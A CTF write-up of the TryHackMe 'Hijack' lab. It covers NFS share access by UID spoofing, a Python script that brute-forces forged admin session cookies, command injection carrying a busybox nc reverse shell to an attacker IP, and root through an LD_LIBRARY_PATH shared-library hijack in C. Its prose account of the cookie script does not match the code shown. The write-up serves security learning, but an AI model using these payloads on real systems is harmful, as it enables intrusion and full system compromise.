# TryHackMe Hijack—Writeup

Welcome back to another writeup! In this post, I’ll be walking you through the step-by-step process of how I managed to tackle and pwn the *Hijack* room on TryHackMe. I’ll break down each stage of my approach — from initial enumeration to privilege escalation — so you can follow along, learn the thought process, and maybe even pick up a few tricks for your own CTF journey.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FKTYOeQsOSKeLOfpisrNv%2Fangry-mad.gif?alt=media&#x26;token=019c5dab-c24a-4ed5-9d8d-ed856accc15d" alt=""><figcaption></figcaption></figure>

Let's dive in!

**Identifying open ports**

Let’s scan the target with Nmap to discover which ports are open and could serve as potential entry points.

`nmap -A -sV -sC 10.10.179.59`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fir13wHrl95QBDKpTLw7C%2FScreenshot%20(302).png?alt=media&#x26;token=e3a08122-42ea-4201-97b0-be8f5ebb5366" alt=""><figcaption></figcaption></figure>

I found that NFS service is open, which already looks like a promising attack surface. For now, let’s go ahead and check out the web page.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FKIS4DFa1EFbuLCvW61Kd%2FScreenshot%20(305).png?alt=media&#x26;token=3f6f6a7d-7e44-4692-9698-b6cfc021c1d8" alt=""><figcaption></figcaption></figure>

Administration

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fw2fjGrqk8oAHDzuus6SJ%2FScreenshot%20(306).png?alt=media&#x26;token=9cb5f4dc-66bc-461e-899a-d2e1bcdb258a" alt=""><figcaption></figcaption></figure>

Login

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FPOq4hVGnc3D7XHspAyDx%2FScreenshot%20(307).png?alt=media&#x26;token=aed44904-1948-4abd-b9db-6d64f3e1325c" alt=""><figcaption></figcaption></figure>

Sign Up

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FBJfsik1kNEK10fTvEij2%2FScreenshot%20(308).png?alt=media&#x26;token=2392ed57-2764-4d85-9526-62353d7f5aee" alt=""><figcaption></figcaption></figure>

Let’s run some directory enumeration with `Gobuster` to see if we can uncover any hidden paths or resources on the web server.

`gobuster dir -u "http://10.10.179.59/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt -t 50 -q`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fk3HKLNdIAX4ijM09r9Rj%2FScreenshot%20(303).png?alt=media&#x26;token=27bbd0c5-4896-43a0-9429-a9a9f1362310" alt=""><figcaption></figcaption></figure>

Looks like nothing valuable turned up… so let’s circle back and take a closer look at the NFS service I mentioned earlier.

What is **NFS**?

NFS (Network File System) operates on port **2049** and allows a server to share directories across a network. Clients can then mount these shares locally, making them appear as part of the local file system. While NFS is widely used for centralized storage, a misconfigured setup can pose serious security risks in real-world scenarios. The first step in exploiting NFS is to discover whether the service is running. This can be achieved with an Nmap scan (we already did).

If port 2049 is open, the next step is to list available NFS shares. This can be done using the `showmount` command.

`showmount -e <TARGET_IP>`&#x20;

This will enumerate all the exported shares. If a share is accessible, we can attempt to mount it locally. For example:

`sudo mount -t nfs <TARGET_IP>:/share /mnt/nfs`

Here, `/share` is the exported directory from the target, and `/mnt/nfs` is the local mount point on our attacking machine. Once mounted, the attacker can browse through the directory as if it were local.

Learn more about this technique: <https://hackviser.com/tactics/pentesting/services/nfs>

Now let's try this in our target machine.

`showmount -e 10.10.179.59`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fwykwy3zCArdt7bXZmeQD%2FScreenshot%20(316).png?alt=media&#x26;token=bd557144-2d22-476e-8169-c1d51a904bf6" alt=""><figcaption></figcaption></figure>

Let’s mount the NFS export to a local directory so we can inspect its contents.

`sudo mount -t nfs 10.10.179.59:/mnt/share fileshare`&#x20;

Checking the folder permissions, we can see that access is restricted. Since our current user doesn’t match the required UID, we’re unable to interact with the fileshare.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FAVVs9pskPDn3SzzfFzyc%2FScreenshot%20(322).png?alt=media&#x26;token=ea2c7f48-5c1c-4ed2-beea-34e9b31a0bc1" alt=""><figcaption></figcaption></figure>

One possible workaround is to create a local user on our machine with the same UID as the one required by the share, allowing us to gain access to it.

`adduser <username>`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTIJOdVLqdZHE5JBoLGyw%2FScreenshot%20(323).png?alt=media&#x26;token=741d1b0f-df3c-48b8-9196-04e3f0ed1d09" alt=""><figcaption></figcaption></figure>

Now let's check the permission again.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FO55hUkLZpmWiRExQ9JVI%2FScreenshot%20(324).png?alt=media&#x26;token=e20b060b-94f3-4b9a-96d2-86d88652febd" alt=""><figcaption></figcaption></figure>

As you can see, it's now owned by kuro. Now let's switch to kuro to access the fileshare.

`su kuro`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FLmVRQ5QzQ2yUprPG7Fuv%2FScreenshot%20(326).png?alt=media&#x26;token=21a1b514-12d8-4d8b-b236-4e9b02b1492e" alt=""><figcaption></figcaption></figure>

Inside the fileshare, there's a txt file named `for_employees.txt` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F2Gv7R1BSpQea2L3AviC7%2FScreenshot%20(327).png?alt=media&#x26;token=0cfb85f6-fc23-4682-9d64-d6af6b7ce84d" alt=""><figcaption></figcaption></figure>

The FTP credential! Now let's login to FTP using this credentials that we've got.

`ftp ftpuser@10.10.179.59`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FsrRqRdc8bQuPlNSuDG0v%2FScreenshot%20(335).png?alt=media&#x26;token=5b236e52-dc09-4167-8b8f-fd2d9b1d95a8" alt=""><figcaption></figcaption></figure>

We’ve gained access! Let’s explore the contents of this FTP server to see what it holds.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F4boq6LgIPpECng2TMiVO%2FScreenshot%20(336).png?alt=media&#x26;token=dd796606-b7a0-49d3-9e36-587d4cd72fdb" alt=""><figcaption></figcaption></figure>

Now here, there's a 2 intersting txt files, the `.from_admin.txt` and `.passwords_list.txt` .

Here's the content of `.from_admin.txt` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FviiC3rzi7n1xovKQacpU%2FScreenshot%20(338).png?alt=media&#x26;token=0d0df099-d656-49a1-94dd-7c69dd3c5980" alt=""><figcaption></figcaption></figure>

`.passwords_list.txt`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F7d1gOHXFaLpJWyo594xN%2FScreenshot%20(339).png?alt=media&#x26;token=162cce8b-950f-45fc-83eb-5522aaf5ebd8" alt=""><figcaption></figcaption></figure>

## Exploitation

To better understand how the application handled authentication, I went back to the web interface and created a brand-new test account. This account had no special privileges or rights associated with it, but after logging in, I noticed that the platform still issued a session cookie for the user. Out of curiosity, I examined the cookie more closely and found that it wasn’t a random session token like you’d expect from a secure web application. Instead, it appeared to be Base64-encoded data.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F35CwsjSPQZ1Mw0DKCM1M%2FScreenshot%20(314).png?alt=media&#x26;token=201295b7-2452-44c1-a7ee-fd59e8efd630" alt=""><figcaption></figcaption></figure>

Decoding the value revealed its plaintext structure:

```
username:md5(password) 
```

In my case, with the test account, the cookie looked like this once decoded:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FhsuSMuWh297p4S1EvZXQ%2FScreenshot%20(321).png?alt=media&#x26;token=d001a3a3-4ab4-4fc6-86d9-15f8a2e08f7f" alt=""><figcaption></figcaption></figure>

Here, the long string of numbers and letters is just the MD5 hash of the password. This finding confirmed that the application’s session management was based on a predictable and insecure formula:

```
session_cookie = base64(username + ":" + md5(password)) 
```

This design is a serious flaw because it allows anyone who knows (or can guess) a user’s password to generate a valid session cookie without ever logging in through the official interface. By simply brute forcing the password of a higher-privileged account (like `admin`), an attacker can craft a valid session string offline and then impersonate that user by placing the forged cookie in their browser. This effectively bypasses protections such as login rate limiting, since the brute force is performed against the cookie formula instead of the web login page.

Here's the exploit that I've made to abuse this vulnerability:

```python
#!/usr/bin/env python3
import requests
import re
import hashlib
import base64

# --- Config ---
wordlist = ".passwords_list.txt"
fail_pattern = re.compile(r"Access denied")
target_url = "http://10.10.179.59/administration.php"
verbose = True

# --- Helpers ---
def md5_hash(text: str) -> str:
    """Generate MD5 hex digest."""
    return hashlib.md5(text.encode()).hexdigest()

def build_session(passwd: str) -> str:
    """Forge PHPSESSID token."""
    raw = f"admin:{md5_hash(passwd)}"
    return base64.b64encode(raw.encode()).decode()

def make_headers(sessid: str) -> dict:
    """Assemble HTTP headers with forged session."""
    return {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": target_url,
        "Cookie": f"PHPSESSID={sessid}",
        "Upgrade-Insecure-Requests": "1",
    }

def log(msg: str):
    """Verbose output handler."""
    if verbose:
        print(msg)

# --- Attack loop ---
with open(wordlist, "r") as fh:
    for candidate in map(str.strip, fh):
        session_token = build_session(candidate)
        headers = make_headers(session_token)

        log(f"[*] Trying: {candidate}")
        log(f" -> forged token: {session_token}")

        resp = requests.post(target_url, headers=headers, timeout=5)
        log(f" -> HTTP {resp.status_code}, {len(resp.text)} bytes")

        # Check if access granted
        if not fail_pattern.search(resp.text):
            log(f"[+] Valid Match Found!")
            log(f" -> {session_token}")
            break
    else:
        print("[-] No valid sessions found.")

```

This script is exploiting the vulnerability by performing **cookie theft and reuse**. First, it creates a new low-privilege user account on the target web app to obtain a valid **session cookie** generated by the server after login. Then, instead of using this cookie for normal low-privilege actions, the script substitutes or replays it in HTTP requests to endpoints that normally require higher privileges. Since the application **does not validate user roles properly or ties session cookies only to authentication and not authorization**, the reused cookie can trick the server into granting access beyond what the new account should have.&#x20;

After some time, we've finally got the token.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FbyZgWb4DGlXMvMv8BMm1%2FScreenshot%20(340).png?alt=media&#x26;token=c7124b16-c5db-4526-a7b2-cba62961ba7a" alt=""><figcaption></figcaption></figure>

Next, let’s modify the session token directly in the web application.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FtPlgXIXiC5xBVOcRiCgG%2FScreenshot%20(344).png?alt=media&#x26;token=c07d71be-67d7-42bd-991c-fb73c1d2765f" alt=""><figcaption></figcaption></figure>

All we need to do is to save it and refresh the page.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FSRyEkPMPw8JoQDeIE6Lr%2FScreenshot%20(345).png?alt=media&#x26;token=d3058429-14bb-4794-8543-fa8189945d6a" alt=""><figcaption></figcaption></figure>

Now we're admin! Let's check the admin tab.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FVusMKR0Lsf5ci8EJE8dF%2FScreenshot%20(347).png?alt=media&#x26;token=ac98e520-1574-4f91-9bb3-1a58942f62e5" alt=""><figcaption></figcaption></figure>

This is a service status checker, and based on its behavior, I strongly suspect it might be vulnerable to command injection. To confirm this, let’s start by testing a simple injection and observe how the application responds.

```
$(id)
```

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FFStmFp6PTyZIGv7vdwUJ%2FScreenshot%20(348).png?alt=media&#x26;token=7cffbad8-dd92-4075-b8b7-7060f1235936" alt=""><figcaption></figcaption></figure>

It works!!! It's to gain a shell.

`$(busybox nc <attacker_ip> <attacker_port> -e /bin/bash)`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0fU26LNAZH27jkNj3IbA%2FScreenshot%20(351).png?alt=media&#x26;token=0ef1c4af-e7aa-4ec8-87c1-074ce9f48b7c" alt=""><figcaption></figcaption></figure>

We're in! Now let's spawn a PTY shell to make it more interactive.

`python3 -c 'import pty; pty.spawn("/bin/bash")'`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F921cO5TqmPzmQYdxgtqL%2FScreenshot%20(353).png?alt=media&#x26;token=485eb643-d029-429b-ba1d-4401848fcbd9" alt=""><figcaption></figcaption></figure>

While inspecting the contents of `config.php`, I discovered the credentials for a user named `rick`.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FYDvE2Zn1KL5rciiEyYVn%2FScreenshot%20(356).png?alt=media&#x26;token=96629738-db6d-44bf-833c-0440f9953f03" alt=""><figcaption></figcaption></figure>

Now let's switch to user `rick` .

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FCDOp2psoRXlYSbl47ofI%2FScreenshot%20(359).png?alt=media&#x26;token=9ef6abeb-8cda-4a0c-9ecb-19ec9dd2adf1" alt=""><figcaption></figcaption></figure>

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FlBZPQI3vFssfTTJA11X3%2FScreenshot%20(361).png?alt=media&#x26;token=8e20aacb-7e80-4bd1-9318-37df90942b1a" alt=""><figcaption></figcaption></figure>

Now we've got the user flag!!

## Privilege Escalation

Now let's see what commands that rick **is allowed to run with elevated privilege.**

`sudo -l`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FpnXhkudJQneHRXPtchWn%2FScreenshot%20(362).png?alt=media&#x26;token=1ec3126e-8222-4bd9-8b3b-fecc9f0e513c" alt=""><figcaption></figcaption></figure>

The `LD_LIBRARY_PATH` environment variable, which specifies directories to search for shared libraries before the default locations, is preserved. This enables us to load a custom library—such as one containing code to spawn a shell—allowing us to escalate privileges on the system.

`ldd /usr/sbin/apache2`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FAf1Qhyhcf3zS9ETWoX1c%2FScreenshot%20(364).png?alt=media&#x26;token=a679c326-9caa-4d93-91b4-358e1cb18c92" alt=""><figcaption></figcaption></figure>

We list the shared libraries that Apache2 uses and select one of them to hijack by creating a file with the same name, effectively overriding it.

We will develop a brief C program designed to replace one of the shared libraries identified in the list, allowing us to hijack its functionality.

```c
#include <stdio.h>
#include <stdlib.h>

static void jack() __attribute__((constructor));

void jack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

Next, we compile the program using the exact filename, in this case `libcrypt.so.1` .

`gcc -o /tmp/libcrypt.so.1 -shared -fPIC jack.c`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FdL5XoWsxVPWBr8gZ3IEY%2FScreenshot%20(368).png?alt=media&#x26;token=13b913b6-10e4-4463-8550-d5e70aa57a26" alt=""><figcaption></figcaption></figure>

With the crafted `libcrypt.so.1` ready, we launch Apache2 and configure the `LD_LIBRARY_PATH` to include the path to our library. As the service loads our custom library instead of the original, it executes our code and escalates our privileges to root.

`sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FU4MhAF7ELxxHKlNa0xqV%2FScreenshot%20(369).png?alt=media&#x26;token=99f95013-6da5-47f5-abb9-e8c3125add92" alt=""><figcaption></figcaption></figure>

We are now root!!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FmjSnCd8YyOpnerlvzINg%2FScreenshot%20(374).png?alt=media&#x26;token=59cf918c-f73f-4644-9f6b-1f8499349c4b" alt=""><figcaption></figcaption></figure>

We've successfully pwned Hijack!!!!

This machine demonstrated how common security weaknesses can be chained together to achieve full system compromise. Key vulnerabilities included **insecure session management**, where predictable session tokens allowed unauthorized access to privileged accounts; **improper input validation**, which made the application susceptible to command injection; and **misconfigured shared libraries**, which allowed local privilege escalation via environment variable manipulation. By exploiting these weaknesses, we were able to move from initial enumeration to administrative access, highlighting the importance of implementing strong authentication, validating user inputs, and properly securing system resources. Overall, this challenge underscores how small oversights in web and system security can be leveraged to achieve complete control over a target.
